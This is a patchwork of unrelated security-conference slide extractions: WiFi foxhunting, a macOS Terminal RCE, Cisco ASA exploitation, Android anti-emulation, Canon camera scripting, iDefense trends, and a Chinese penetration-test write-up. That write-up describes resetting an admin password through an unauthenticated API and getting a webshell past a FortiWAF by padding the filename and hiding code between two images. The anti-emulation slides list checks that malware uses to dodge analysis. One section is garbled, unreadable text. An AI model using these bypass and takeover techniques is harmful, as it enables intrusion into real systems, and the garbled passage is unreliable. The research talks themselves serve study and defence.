‣ Can be used to track multiple emitters over time ‣ Information overload for simple foxhunting 18 Using Your Gear 19 Preparation ‣ Know and be comfortable with your equipment, especially how long your batteries will last ‣ Learn detection ranges for your particular setup; WiFi radios estimate signal strength inconsistently ‣ Know how sensitive your back/side lobes are ‣ Become fluent in the software you’re using ‣ Practice 20 Inconspicuousness ‣ If you have a bunch of obvious equipment, people will be wary and avoid you ‣ Fly below the radar, or risk spooking your target 21 General Tips ‣ Be aggressive! Make an active effort to seek your target ‣ Be aware of your environment, and take an organized approach to your search area; don’t just wander randomly ‣ Keep a mental map of where you’ve been, and the observed signal levels along the way, for mental triangulation ‣ Heads Up! Don't glue your nose to the screen, or you might miss a chance to find your target based on secondary indicators 22 Multipath ‣ RF emanations will reflect off structures and objects ‣ Same signal will be received from different directions at different times (Phase Shift) ‣ Changes the SNR of the received signal (Multipath Fading) ‣ To mitigate multipath interference during a foxhunt, keep moving! 23 Using An Omni ‣ Used for proximity detection (Am I getting closer to the emitter?) ‣ Possible to successfully hunt with just an omni ‣ Easier when dealing with stationary targets ‣ Move around a lot to determine emitter proximity from various locations ‣ Keep a good mental map, to perform on-the-fly triangulation 24 Using A Directional ‣ Steers you in the right direction, once you’ve determined proximity using the omni ‣ Helpful to have a variable attenuator between your directional antenna and the radio ‣ Reduces the antenna’s lobes (enhancing directionality) ‣ Reduces your effective gain when you're getting closer, to give you more headroom against your radio's maximum input gain 25 Basic Strategy ‣ Tune your radios to the target emitter ‣ Walk a search pattern, watching the signal strength on a PTD plot ‣ Use the omni to determine if you’re getting closer ‣ Use the directional, and your historical direction of travel, to determine in which direction to continue ‣ If you start to peak your signal, add attenuation ‣ Don’t go too fast, because received power will fluctuate ‣ Look around: The emitter may become obvious once you relate RF power to what you see in the environment 26 My WiFi Setup ‣ 5db Omnidirectional rubber duck ‣ 8db simpleWiFi mini panel ‣ HP 8495A Manual Step Attenuator ‣ Alfa USB NICs - Alfa 1 & Alfa N ‣ Alfa N on the omni - it holds connections better ‣ Alfa 1 on the panel - it’s more of a pure radio ‣ No good free software; Kismet/Kismon, WiFi Analyzer (Android), NetSurveyor (Windows), and Wireless Diagnostics (OS X) are OK 27
pdf
macterminalrce 0x00 https://mp.weixin.qq.com/s/xqoylh0j0Ny_FL4PlkwH-Q terminal terminal 0x01 mac /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/ lsregister -dump > dumpfile dumpfile commandtoolterminal terminalterminalterminalsetting pocterminalsetting 0x02 poc pocsettingterminal preference run command settingpoc.terminal plistappinfo.plist 0x03 terminaliterm2 itermprofilejson iterm.itsitermpython 1. iterm 2. xxx.its 3. xxx.itsiterm2 4. iterm2 appscript
pdf
43 43 00205! w 7 ! 日程 1SQZPM w • uu • • • o • o <D57klo • o q&7 1U9ZQRMOQ6aeeUZS • o BQVQO s3Ma_Qmsmm & 9[Dmm • BB3o n x <D57klo • xo nm m • o n • o n nC9= • no xtn qs • o • o kl • 3o • • 9ZQX • EC2& • o • C4BoECB2UZU<UQC4B • • • o • • kl • o • <D5oQZ1U9ZQRMOQ • 7C=oQZ2C3 • o • ENaZa)<DC • o • 7kl • MZSM[[=[NUXQ4Q_W[[o • mh • ) • 78I9ZQX1[d(I+( m78I • 7B1= • &75==3 • wEC2& 7kl • E2[MPo • 78I9ZQX1[d(I+&( m78I • 7B1= • )75==3 • wEC2&D7 • (F 7k&l • ECB2UZUo • -=8e )78e • o()=8e • oP2 • EC2& 7kl • o • 7k(l • o • (F&1q <D57 <D57 <D5n7C=Xa[C4B <D57kl • o • s53OLQ>2LC1Om ==5m53mQ>[PQ2 • 1MOTBQ]aQ_1MOTBQVQO d->Qc[WRMUXaQ d • D44<D5 • 19D4<D5D4m mt19xD4 mt • • oM_Q1ED>B1>4 HB5Cmm<D5 ==5RQQ4UMQQ <D57kl • <D57C= • • o • E9 • • • 1 • &77 • ms • o • k1FCQl • <D5kM_Qm1ED>mB1>4mHB5Cl • E=DCk9m3m1ED>mB1>4mHB5Cl • 6Q[3QXXo • 9CQOF> • 6Q[3QXXCQ7G • 6Q[3QXX==5C7C> • 7BH9Ho • 7D3 • • 6Q[3QXX 6Q[3QXXkl • xo • 7C=o8>2 • D4C34=1o8>2&&8> • D4<D5ox2C+ 6Q[3QXXkl • xo • E1(E1+)E1+&( • QUO[&+QUO[&+ 6Q[3QXXk&l • xo • QUO[&)+ &7E=DC &76Q[OQXX DB)6Q[3QXX DB) • k35l • 1a[3[ZRUSaMU[ZCQbQk13Cl35 Ø ØC[[R • 8DDC} • o35m6UcMQ • 6Q[3QXXs • 13C9CQO 7&77m zoE7G+ B[[6Q[3QXX • &776Q[3QXX CQ7GC9=6Q[3QXX6UcMQ • [[ • 9CQO • • x • m B[[6Q[3QXX • p • 3 • • C5775B:<UZW • B[[6Q[3QXX • 2ECUMQ • :D17aXM[ • >1>46XM_T DC() :D176Q[3QXX • • x E1BD6Q[3QXX • • • >1>46XM_T • 6UcMQ • o oC9= & B[[6Q[3QXX • DB)o7QZUQ13CQZ13C Øq6UcMQ6UcMQ Øq • 941[ • QZ34 • 2UZcMXW • • • k9m3m1ED>mB1>4mHB5Clk M_Qm1ED>mB1>4mHB5Cl • o • 6Q[3QXX • 6Q[3QXXk8Q>27Gl • 6Q[3QXX511151C9= • 9CQO • 6Q[3QXXqkl • mC7C>==5 6Q[3QXX • 6Q[3QXXqs • x~C9=m_[ZSCcMZ • EC9=m3C3 <D5 • om • 19x==5m1F m • • CCC97DB1>v • 7BHo7BHB[MUZS5dOTMZSQ • 9Ho95dOTMZSQ • 7BH9Hxwm • 7BH 1F • CC-CQZP1aT9ZR[CQZP9PQZURUOMU[Z • 7BH-C7C>3[ZQdBQ]aQ_ • 9H4UMQQ-1aTQZUOMU[Z9ZR[MU[ZBQ]aQ_ • 9QPUMQBQ_[Z_QQRQQP q7BH GTP echo request: 7BHi 77C>kl GTP echo response: 7BHi 77C>kl 7BHi t77C> 7BHi C7C> • t77C> • C7C>3[ZQdBQ]aQ_m1F • t==5 • 7BHo77C>==5m • r7BH[[m • m7BH 4UMQQ • k9CQOD<Cls • {ms • C3D • 1XUOMU[Z9PQZURUQ )( 9H4UMQQ • RQQ4UMQQ • s • C)Mo==58CC • 1aTQZUOMU[Z9ZR[MU[ZBQ]aQ_1Z_cQm9QPUMQ BQ_[Z_QQRQQP • 8CC 5EDB1>FQO[--/.1FTQMPQ-(0 • J9Q>aNQK • fB1>4g • fHB5Cg • f1ED>g • f1C=5g klx • 6Q[3QXX • 1F/ • x • o • BB37C=x A1 • j 1324 1324
pdf
• 研究背景 • 研究内容 • 总结 Part. 01 研究背景 2 3 探索⼀切、攻破⼀切 近年有关网络设备的安全事件 时间 事件 2014-04 思科(cisco)和瞻博(juniper)发现存在heartbleed漏洞 2014-11 卡巴斯基实验室发布报告披露黑暗能量(BlackEnergy)可 以攻击思科(cisco)路由器 2015-09 火眼(fireeye)发布了有关思科(cisco)路由器SYNful Knock后门的报告 2015-10 安全公司volexity的Steven Adair发现了攻击思科(cisco) web vpn的案例 2015-12 瞻博(juniper)发现漏洞: 万能密码登录设备(CVE-2015- 7755)、可解密VPN流量(CVE-2015-7756) 2016-01 @esizkur 发现飞塔防火墙(Fortigate)存在ssh未声明账户 漏洞(CVE-2016-5125) 2016-08 方程式针对防火墙攻击的工具泄露 4 探索⼀切、攻破⼀切 网络设备漏洞特点 (ASA) 2014.10- 2014.12 2015 2016.1- 2016.6 Dos 9 9 4 Bypass 1 3 1 其他 8 3 1 思科防火墙asa系统漏洞数目 思科ios系统漏洞数目 (CISCO IOS) 2014 2015 2016.1- 2016.5 Dos 32 68 15 Bypass 2 3 0 其他 7 3 2 5 探索⼀切、攻破⼀切 研究历史 • Attacking Network Embedded System Felix ‘FX’ Lindner 2002 • The Holy Grail Cisco IOS Shellcode And Exploitation Techniques Michael Lynn 2005 • Cisco IOS Shellcodes Gyan Chawdhary, Varun Uppal 2007 • Cisco IOS - Attack & Defense. The State of the Art Felix ’FX’ Lindner 2008 • Router Exploitation Felix ’FX’ Lindner 2009 • Fuzzing and Debugging Cisco IOS SebasEan Muniz, Alfredo Ortega 2011 • Killing the Myth of Cisco IOS Diversity Ang Cui, JaEn Kataria, Salvatore J. Stolfo 2011 • Breaking Bricks and Plumbing Pipes:Cisco ASA a Super Mario Adventure Alec Stuart- Muirk 2014 • Cisco IOS shellcode:all-in-one George Nosenko 2015 • Execute my packet David Barksdale,Jordan Gruskovnjak,Alex Wheeler 2016 Part. 02 研究内容 6 7 探索⼀切、攻破⼀切 研究步骤 获取 固件 固件 patch 真机 调试 固件 解包 静态 分析 模拟 网络 模拟 系统 模拟 8 探索⼀切、攻破⼀切 获取固件 • 从官网下载 • 通过网络从设备上拷贝到电脑上 • 从设备的存储模块读 • 从网上找网友的分享 8 探索⼀切、攻破⼀切 9 探索⼀切、攻破⼀切 ASA固件解包 Some loader vmlinuz initrd gzip压缩的rootfs.img Directgbootingg fromgfloppyg isgnoglongergsupported. 10 探索⼀切、攻破⼀切 lina • $gcpio -idg<g rootfs.img 10 探索⼀切、攻破⼀切 lina 10 探索⼀切、攻破⼀切 lina • $gcpiog-idg<g rootfs.img • $glsg/asa/bin/ • coredump_helper lina lina_monitor 11 探索⼀切、攻破⼀切 ASA系统模拟&调试 12 探索⼀切、攻破⼀切 IOS固件解包 12 探索⼀切、攻破⼀切 IOS固件解包 13 探索⼀切、攻破⼀切 IOS系统模拟&调试 14 探索⼀切、攻破⼀切 网络模拟 15 探索⼀切、攻破⼀切 真机调试 15 探索⼀切、攻破⼀切 真机调试 asa924-k8.bin quiet>loglevel=0>auto>=>>rdinit=/bin/sh 16 探索⼀切、攻破⼀切 设备调试命令 16 探索⼀切、攻破⼀切 设备调试命令 17 探索⼀切、攻破⼀切 CVE-2016-1287 • CiscogASAg5500gSeriesgAdaptivegSecuritygAppliances • CiscogASAg5500-XgSeriesgNext-GenerationgFirewalls • CiscogASAgServicesgModulegforgCiscogCatalystg6500g SeriesgSwitchesg • Ciscog7600gSeriesgRouters • CiscogASAg1000VgCloudgFirewall • CiscogAdaptivegSecuritygVirtualgApplianceg(ASAv) • CiscogFirepowerg9300gASAgSecuritygModule • CiscogISAg3000gIndustrialgSecuritygAppliance 18 探索⼀切、攻破⼀切 IKEv2协议 19 探索⼀切、攻破⼀切 使用Scapy构造POC 20 探索⼀切、攻破⼀切 漏洞触发 21 探索⼀切、攻破⼀切 漏洞利用 22 探索⼀切、攻破⼀切 堆块变化 溢出 合并 ikev2gdaemon ikev2gfragmentgparse 22 探索⼀切、攻破⼀切 堆块变化 溢出 合并 ikev2gdaemon ikev2gfragmentgparse 22 探索⼀切、攻破⼀切 堆块变化 溢出 合并 ikev2gdaemon ikev2gfragmentgparse 23 探索⼀切、攻破⼀切 获取代码执行权 23 探索⼀切、攻破⼀切 获取代码执行权 24 探索⼀切、攻破⼀切 GetShell 25 探索⼀切、攻破⼀切 利用稳定性问题 • IP数据包分片 • 其他进程干扰 26 探索⼀切、攻破⼀切 可能的解决办法 • 控制数据包的大小,使IP包数据不大于MTU • Defragment时占位的attribute尽可能的多 27 探索⼀切、攻破⼀切 网络设备利用时存在的问题 • Arm,PowerPC,Mips架构设备的缓存一致性问题 • 依赖硬编码,需要知道具体的固件版本 • 网络环境的影响 28 探索⼀切、攻破⼀切 缓存一致性问题 28 探索⼀切、攻破⼀切 缓存一致性问题 Part. 03 总结 39 30 探索⼀切、攻破⼀切 总结 • 网络协议种类多,协议构成复杂,出现漏洞的部分往往是很“偏”的部位 • 还原漏洞触发需要一定的网络环境 • 网络设备固件版本多 • 分析不同的固件时,要重新识别功能函数 T H A N K S
pdf
19.07.2013 DEX EDUCATION 201 ANTI-EMULATION TIM STRAZZERE - HITCON 2013 Friday, July 19, 13 WHOAMI • Lead Research & Response Engineer @ Lookout Mobile Security (yes.. an av) • Reversed the Android Market/Google Play Protocol • Always enjoyed reversing “exotic” platforms, writing tools to automate the mundane • Junkie for reversing mobile malware, creating write ups and teaching other to help raise the bar Friday, July 19, 13 AGENDA • Recap of Dex Education 101 • Who is evading emulators / How is it done • Who is hiding emulators / How is it done • Easy detection - Hard time hiding • Basic emulator detection / QEMU-FOO • “Advanced” detection of emulator systems • TLDR; Conceptualizing detection Friday, July 19, 13 RECAP OF DEX EDUCATION 101 • Decompilers and disassemblers are easy to break but no one was doing it! • Predicting these breakages can help up prevent and detect attacks • Advances since then; • DexGuard (“Most sophisticated Android Malware”) • HoseDex2Jar • Slides available: www.strazzere.com/papers/DexEducation-PracticingSafeDex.pdf Friday, July 19, 13 RECAP OF DEX EDUCATION 101 • HoseDex2Jar used the “big ego” tactic of injecting files into the header • Author even said hiTim in one of his method names (HOW NICE) • github.com/strazzere/dehoser • Latest example uses some simple crypto inside of native code - go play! Friday, July 19, 13 Friday, July 19, 13 WHO IS EVADING EMULATORS? • Security Researchers • Game cheaters / “hackers” • Devs against competition • Malware authors (?) Friday, July 19, 13 MOTIVE FOR EVASION? • Games detect emulators to prevent cheating/abuse • Must uniquely identify devices to prevent referral abuse/easy cheating • Attempt to stop farming/cheats • App devs want to “protect” secrets • Security researchers want to break stuff, get famous and pwn people • duh! • Malware authors want to avoid detection of their “products” Friday, July 19, 13 DETECTION IMPORTANT? • Games / App / Research / Malware • All have different use cases and trying to detect different segments • Games want to raise bar for cheating without FP • Security researchers... Prevent getting pwned and hacing a talk at BH • AV’s want broad detection without FP Friday, July 19, 13 EVASION DETECTION IS DIFFERENT • Games / Apps want to detect and phone home • Either alert devs of abuse, or just fail to work properly • Security researchers might just want to probe your infrastructure... • Has anyone ever probed Bouncer? (oh wait... hi Charlie/JonO!) • AV’s want malware to perform their payloads while they watch • If detected, malware won’t perform detected/wanted behaviors Friday, July 19, 13 HOW DO PEOPLE EVADE EMUS? • is phone number == 15555215554 • is imei == 012345678912345 • is device id == 000000000000000 • is build.MODEL == sdk || generic • Traditional “red pills” • Bluebox/Dexterlabs produced some timing issue based red pills • Super interesting to develop/detect • Maybe not “practical” Friday, July 19, 13 • Hex edit img(unsuprisingly) • Change the phone number • Change the IMEI • Change device id • Change the fingerprints • http://vrt-blog.snort.org/ 2013/04/changing-imei- provider-model-and- phone.html HOW ARE PEOPLE HIDING EMUS? Friday, July 19, 13 EASY EMULATION DETECTION • QEmu wasn’t made for hiding • REAL HARDWARE <-> Host <-> Android Client • The “hardware” is inside the Host, so radio/ gps/camera are communicated through QEmu pipes • Pipes are _not_ hidden • QEmu relies on lots of values initialized in system properties and a decently heavy infrastructure Friday, July 19, 13 GETPROPS == GET EMU Friday, July 19, 13 GETPROPS == GET EMU Friday, July 19, 13 GETPROPS == GET EMU • There are many things that appear “odd” in emulators • Just masking “odd” ones might not be enough • Smart attackers know their targets / could selectively attack • Could use geographical context to help emulator applications predictable contexts • a (well done) APT evasion scenario might be impossible to predict Friday, July 19, 13 GETPROPS == GET EMU • How are they getting these properties? Friday, July 19, 13 GETPROPS == GET EMU • How are they getting these properties? • Reflection! Trap it for a hopeful win • Hook the getprop command ? (https://github.com/poliva/ldpreloadhook) Friday, July 19, 13 I’M A POWER USER, I USE TAINT • Taintdroid is powerful! • It is however, _not_ stealth • Taintdroid != emulation • Can run on “real” devices • Talks on exfiltration of data on taintdroid • Why bother unless targeting that system? • Why not just detect and remain silent! Friday, July 19, 13 TAINTED? • Detection of taint is relatively easy Friday, July 19, 13 TAINTED? • Detection of taint is relatively easy • Is package name “org.appanalysis” available Friday, July 19, 13 TAINTED? • Detection of taint is relatively easy • Is package name “org.appanalysis” available Friday, July 19, 13 TAINTED? • Detection of taint is relatively easy • Is package name “org.appanalysis” available Friday, July 19, 13 CHECK THE PLUMBING • Like previously said QEmu wasn’t made for hiding • “Pipes” talk to the host environment • Publicly exposed and available if you have an internet permission Friday, July 19, 13 CHECK THE PLUMBING • Easily found pipes; • /dev/qemu_pipe • /dev/socket/qemud • Simple file check can suffice • Connect for extra fun :D Friday, July 19, 13 CHECK THE PLUMBING • Hiding these pipes is non-trivial • Hardcoded / used plenty across codebase • Used in many files, most of which stand out themselves; • /system/lib/ libc_malloc_debug_qemu.so • /sys/qemu_trace • /system/bin/qemu-props Friday, July 19, 13 CHECK THE PLUMBING • Drivers are pretty easily spotted as well • Just follow the goldfish Friday, July 19, 13 • How many devices are being targeted? • Know the targets • Do people who download infected Angry Birds have NO data? CHECKING THE CONTENT Friday, July 19, 13 • How many toll fraud targets are there? • Do they normally send NO sms? • Malware already has access to these... CHECKING THE CONTENT Friday, July 19, 13 • People may not use smartphones as phones much • But is it expected that they’ve never made a call? Ever? CHECKING THE CONTENT Friday, July 19, 13 • Is the device always “charging”? • But is always at 50%? • Never roaming? • Always at emulator defaults? CHECKING THE CONTENT Friday, July 19, 13 CONTENT IS KEY • Malware authors know who they target • They also know who they can affect • Large dynamic emulator systems need context and content • Emulation must be emulating the victim, not just the victims system Friday, July 19, 13 CONCEPTUALIZING DETECTION • Talk with fG+; economics are importnat • People (malware authors) want a ROI • Low bar for detection means less work • Less work on the code leads to more work on infections • Talk at defcon about investigating Russian Toll Fraud • They essentially run agile shops! Friday, July 19, 13 THANKS! @timstrazz [email protected] strazzere.com/blog github.com/strazzere Should follow for good info; @osxreverser @snare @pof @jduck @thomas_cannon @TeamAndIRC @Gunther_AR Greets; fG!, Lohan+, jcase, jon larimer, zuk, jduck, JF, pof, thomas cannon, snare, crypto girl, collinrm, gunther and others Friday, July 19, 13
pdf
Exploiting Digital Cameras Oren Isacson - oren]at[coresecurity.com Alfredo Ortega - aortega]at[coresecurity.com Exploit Writers Team Core Security Technologies August 1, 2010 Exploiting Digital Cameras August 1, 2010 1 / 27 Introduction This talk is about: • How to script Canon Powershot cameras. • How we reversed the embedded interpreter. • What are the possibilities of this? • What are the security consequences? Exploiting Digital Cameras August 1, 2010 2 / 27 Architecture of Powershot cameras • ARM type Processor (ARM946E-S based) • Memory Protection Unit (MPU) • No Memory Mapping Unit • Exception handlers • SD Memory Card • Debugging Support • Proprietary OS (DryOS) We used MPU’s registers to find the memory regions And exception handlers for debugging. Exploiting Digital Cameras August 1, 2010 3 / 27 Previous works: CHDK • CHDK is an unofficial firmware enhancement. • Can be booted from the memory card. • Loads as a firmware update but it doesn’t make permanent changes. • It doesn’t automatically load unless the Memory Card is locked. • But users don’t normally have Memory Card in locked mode. • So it’s safe (not a good attack vector). We used it for researching the firmware. Exploiting Digital Cameras August 1, 2010 4 / 27 Image fuzzing • Can we run code exploiting the image parsers? • The camera crashes when processing some malformed images. • We wrote an exception handler to examine the crashes. • Even if we can exploit this bugs, the exploit would be model specific. Exploiting Digital Cameras August 1, 2010 5 / 27 Firmware analysis • CHDK project provieded IDA dumps of some powershot cameras (Thanks!). • Some Interesting strings: • “Syntax Error”, “yacc stack overflow”, “input in flex scanner failed”, etc. • It appears that there is an embedded interpreter. • Flex lexical scanner and yacc or bison parser generator were used. Exploiting Digital Cameras August 1, 2010 6 / 27 The embedded interpreter • We are not the first ones to find the interpreter • But there is no public documentation on the language • Invalid scripts make the camera shut down. • And there are no helpful error messages. Exploiting Digital Cameras August 1, 2010 7 / 27 Running a script • Script file: “extend.m” • String “for DC_scriptdisk” must be in file “script.req” • String “SCRIPT” in offset 0x1f0 of the memory card. • Memory card can be either FAT32, FAT16 or FAT12 (unlike in the firmware update boot method). • Script is launched when ”Func. Set” key is pressed in playback mode. • It works even when the memory card is in unlocked mode. • We need to reverse the interpreter. Exploiting Digital Cameras August 1, 2010 8 / 27 yacc/lex • Standard yacc/lex (Bison/flex) parser: LCDMSG_Create() private sub Initialize() ... end sub PRINT Script \extend.m print() LEDDrive() IF WHILE yylex() yyparse() (yacc generated) (flex generated) getch() Get next token LoadScript("\extend.m") Exploiting Digital Cameras August 1, 2010 9 / 27 Locating yyparse() yyparse() function: • yyparse() is the grammatical parser, it calls the lexer yylex(). Exploiting Digital Cameras August 1, 2010 10 / 27 Locating yylex() yylex() function: • Flex is a regex-based tokenizer (Lexical analyzer) • The regex implementation is a table-based state machine • Over 220 states and 50 different tokens. Exploiting Digital Cameras August 1, 2010 11 / 27 Reversing yylex() Flex state-machine based regex parser: yy_match : do { register YY_CHAR yy_c = yy_ec [YY_SC_TO_UI(∗yy_cp ) ] ; i f ( yy_accept [ yy_current_state ] ) { yy_last_accepting_state = yy_current_state ; yy_last_accepting_cpos = yy_cp ; } while ( yy_chk [ yy_base [ yy_current_state ] + yy_c ] != yy_current_state ) { yy_current_state = ( int ) yy_def [ yy_current_state ] ; i f ( yy_current_state >= 76 ) yy_c = yy_meta [ ( unsigned int ) yy_c ] ; } yy_current_state = yy_nxt [ yy_base [ yy_current_state ] + ( unsigned int ) yy_c ] ; ++yy_cp ; } while ( yy_base [ yy_current_state ] != 271 ) ; • Let’s emulate it in x86! we only need to find the tables. Exploiting Digital Cameras August 1, 2010 12 / 27 Finding Flex tables yylex() yy_accept[] yy_base[] yy_nxt[] yy_chk[] yy_ec[] yy_def[] static const short int yy_base [517] = { 0 , 0 , 0 , 43 , 46 , 49 , 50 , 69 , 0 , 161 , 0 , 205 , 0 , 2351, 2350, 2349, 2348, 295 , 332 , 377 , 0 , 426 , 0 , 475 , 0 , Location in firmware of yy_base[]: Exploiting Digital Cameras August 1, 2010 13 / 27 Dumping Tokens • Find all the tables and rebuild the equivalent Flex parser • Try all different combination of inputs (Exit on “unknown” token) • Brute force time! Works every time Exploiting Digital Cameras August 1, 2010 14 / 27 It’s Basic! # Token # Token 1 + 2 - 4 / 8 ^ 9 >> 10 << 11 == 13 >= 15 <= 16 <> 19 ( 20 ) 23 %%MEMORY_L 24 %%MEMORY_M 25 %%MEMORY_S 26 " 42 if 42 If 42 IF 43 sub 43 Sub 43 SUB 44 function 44 Function 45 do 45 Do 45 DO 47 for 47 For 47 FOR Exploiting Digital Cameras August 1, 2010 15 / 27 Emulating the parser Now we know (most of) the Tokens. We need to emulate the parser. We used: • QEMU: processor emulator with ARM support • GNU Binutils: for working with memory images • Our exception handler: for dumping camera memory • CHDK: for loading our exception handler and writing to memory card. • GDB: debugger for setting initial CPU state and monitoring. Exploiting Digital Cameras August 1, 2010 16 / 27 Dumping the memory • QEMU can’t emulate the whole camera. • So we need a memory dump at the parser entry point. • We can’t set breakpoints. • but we can force a memory address exception • Setting the static variable yy_start to 0xA0A0A0A0, the last line raises an exception: s t a t i c yy_start =1; [ . . . ] yy_current_state = yy_start ; do { YY_CHAR yy_c = yy_ec [∗ yy_cp ] ; i f ( yy_accept [ yy_current_state ] ) Exploiting Digital Cameras August 1, 2010 17 / 27 Dumping the memory Exception handler: • Stores CPU registers • Stores memory image • MPU registers tells us memory regions offset size 0x0 32 MB 0x0 2 GB 0x2000 8 KB 0x10000000 32 MB 0x40000000 4 KB 0xc0000000 16 MB 0xffc00000 4 MB • We only need 2 areas: Main memory at offset 0 (32MB) and ROM at offset 0xffff0000 (4MB) Exploiting Digital Cameras August 1, 2010 18 / 27 Loading the emulator • QEMU can load ELF format files. • We used Binutils objcopy and objdump to make ELF file from memory dump. • QEMU has an internal GDB server. • We use it for setting initial register state. • We fix the invalid variable so it doesn’t generate an exception inside the emulator. Exploiting Digital Cameras August 1, 2010 19 / 27 Running the emulator • As not all hardware is emulated, we can’t allow the emulated code to make system calls. • The flex generated scanner uses a macro to read input: YY_INPUT. • Using GDB python integration, it’s easy to replace this macro. • The lexical scanner will continue to call YY_INPUT until it returns 0. • Or until an error is found. • We used this to find out the camera script syntax. Exploiting Digital Cameras August 1, 2010 20 / 27 Emulating scripts Sample emulation runs: Dim a as Long ← Error a=1 Dim a a=1 ← Error Dim a=1 No Errors Exploiting Digital Cameras August 1, 2010 21 / 27 Emulating scripts sub test() ← Error end sub test() private sub test() end sub test() ← Error private sub test() end sub private sub test2() test() end sub No Errors Exploiting Digital Cameras August 1, 2010 22 / 27 Hello World Entry point function has to be called “Initialize“. HelloWorld script: private sub sayHello ( ) a=LCDMsg_Create ( ) LCDMsg_SetStr (a , " Hello World ! " ) end sub private sub I n i t i a l i z e ( ) UI . CreatePublic ( ) sayHello ( ) end sub Exploiting Digital Cameras August 1, 2010 23 / 27 Language documentation • We found over 500 functions controlling all aspects of the camera • We documented some of them and made a (very incomplete) user guide • Exploiting_Digital_Cameras_IOBasic.pdf Exploiting Digital Cameras August 1, 2010 24 / 27 Launching exploits from the camera • Example 1: Launch common auto-run exploits against the SD (MS08-038, CVE-2010-2568) • Example 2: Activate the microphone! • Example 3: Output data via Exif Tags Exploiting Digital Cameras August 1, 2010 25 / 27 Countermeasures • Check that there are no .REQ or .BIN files in the SD card before inserting into the camera. • Camera can’t be infected by using USB-PTP, malware can’t access root filesystem. • AntiVirus can’t scan cameras by USB-PTP. SD AV USB (PTP)               Exploiting Digital Cameras August 1, 2010 26 / 27 The end Thank you! Exploiting Digital Cameras August 1, 2010 27 / 27
pdf
0x00 前⾔ 如有技术交流或渗透测试/代码审计/红队⽅向培训/红蓝对抗评估需求的朋友 欢迎联系QQ/VX-547006660 0x01 起因 某项⽬靶标,是⼀个⼈员管理系统,通过webpack暴露的接⼝ 我们成功找到了⼀个未鉴权的密码修改接⼝,通过fuzz 我们获取到了该接⼝的参数username与password,并成功修改了admin账号密码进⼊后台 在⼀个任意上传的后台功能点,我们遇到了⻜塔WAF+流量检测设备,于是便有了本⽂ 0x02 摸清检测规则 众所周知,⻜塔公司的WAF+流量检测设备还是⽐较⽜逼的,我直接尝试上传⼀个免杀webshell,毫⽆疑问直接 GG了 经过测试,上传⽆害内容1111但⽂件名为XXX.aspx也会被拦截 发现⻜塔对form表单的⽂件名和⽂件内容都有检测,我们必须得把这俩检测都安排掉才能成功上传 下⾯简述⼀下对抗思路 0x03 ⽂件名检测——根据.NET上传匹配⽂件名特性绕WAF(骗) .NET中常⽤context.Request.Files处理⽂件上传表单 其在匹配上传⽂件名时只匹配Content-Disposition:后的filename=xxxx,这就给了我们很⼤的绕WAF操作空 间,可以直接在Content-Disposition中注⼊脏数据来扰乱WAF的检测 这⾥我去掉分号,并使⽤emoji宽字节数据扰乱waf 如图,使⽤⽆害数据成功上传aspx⽂件 0x04 ⽂件内容检测——双图⽚夹恶意代码(偷袭) 前⾯既然直接传免杀Shell不⾏,我⼜测试了加⼊图⽚头,尝试绕过检测 例如: 发现并没有什么卵⽤,都GG了 JPEG (jpg),⽂件头:FFD8FF PNG (png),⽂件头:89504E47 GIF (gif),⽂件头:47494638 后⾯根据.NET特性,使⽤了UTF-16编码,也被拦截了,看来⻜塔对编码这块有所防范。 今天是肯德基疯狂星期四,突然⼀个想法,在我脑中闪过——“我们能不能在万绿丛中夹带⼀点红呢” 我们来试试“汉堡包法” 选取两张正常图⽚数据,中间夹带上我们的恶意代码 如图,成功上传带有恶意代码的aspx⽂件,⻜塔就此告破~ 翻了⼀下后台的图⽚路径,成功拼接出shell的url路径 蚁剑加密⼀下流量,成功Getshell 0x05 总结 善⽤编码、宽字节,熟知每种开发语⾔的特性,是绕过WAF不可或缺的基本功 特殊情况下,思路灵活可以出奇制胜~
pdf
Verisign CONFIDENTIAL Verisign CONFIDENTIAL Verisign® iDefense® Cyber Security Trends Rick Howard, iDefense General Manager June 22, 2011 2 How Technical Are You? 3 Agenda Operation Aurora Impact Stuxnet Impact Cyber Security Disruptors 4 Learning Points Theory Fact 5 Operation Aurora Impact 6 The Aurora Attacks – 5 Unprecedented Changes 7 The Aurora Attacks – 5 Unprecedented Changes 8 Defense Contractor 20 Smashed The Aurora Attacks – 5 Unprecedented Changes 9 The Aurora Attacks – 5 Unprecedented Changes 10 The Aurora Attacks – 5 Unprecedented Changes 11 Moonlight Maze Titan Rain German Chancellor Angela Merkel The Aurora Attacks – 5 Unprecedented Changes 12 "We have been briefed by Google on these allegations, which raise very serious concerns and questions," she said. We look to the Chinese government for an explanation." Source: Network World: 13 Jan 2010 "We look to Chinese authorities to conduct a thorough investigation of the cyber intrusions that led Google to make this announcement. We also look for that investigation and its results to be transparent." Source: Washington Times: 21 Jan 2010 "It was a very open and candid conversation. We agreed we would continue this conversation in the context of our ongoing dialogue." Source: France 24: 28 Jan 2010 Foreign Minister Yang Jiechi The Aurora Attacks – 5 Unprecedented Changes 13 The Aurora Attacks – 5 Unprecedented Changes 14 The Aurora Attacks – 5 Unprecedented Changes 15 $100,000,000 Vulnerability Assessment Capabilities Research The Aurora Attacks – 5 Unprecedented Changes 16 The Aurora Attacks – 5 Unprecedented Changes 17 Moonlight Maze Titan Rain The Aurora Attacks – 5 Unprecedented Changes Byzantine Hades 18 The Aurora Attacks – 5 Unprecedented Changes 19 The Aurora Attacks – 5 Unprecedented Changes 20 Is Hard … But not Impossible Confidence is High The Aurora Attacks – 5 Unprecedented Changes 21 Is Hard … But not Impossible Confidence is High The Aurora Attacks – 5 Unprecedented Changes 22 The Aurora Attacks – 5 Unprecedented Changes 23 Stuxnet Impact 24 The Stuxnet Attacks Industrial Control Systems (ICS) Supervisory Control and Data Acquisition Source: Vanity Fair Apr 2011 25 Natanz Nuclear site The Stuxnet Attacks Source: Vanity Fair Apr 2011 26 Industrial Control Systems (ICS) Natanz Nuclear site Data from W 32.Stuxnet Dossier The Stuxnet Attacks 27 Stuxnet Timeline Source: ISIS Feb 15 2011 2008 2009 2010 2011 First Strike 28 Stuxnet Timeline Source: Washington Post Feb 16 2011 P1 centrifuges at Natanz Originally published by EurasiaNet.org: 2008 Iranian President Mahmoud Ahmadinejad 1000 Centrifuges Dismantled 2008 2009 2010 2011 29 2008 2009 2010 2011 Stuxnet Timeline Source: Washington Post Feb 16 2011 P1 centrifuges at Natanz Originally published by EurasiaNet.org: 2008 Iranian President Mahmoud Ahmadinejad 2 Attacks 1000 Centrifuges Dismantled 30 Speculation 2008 2007 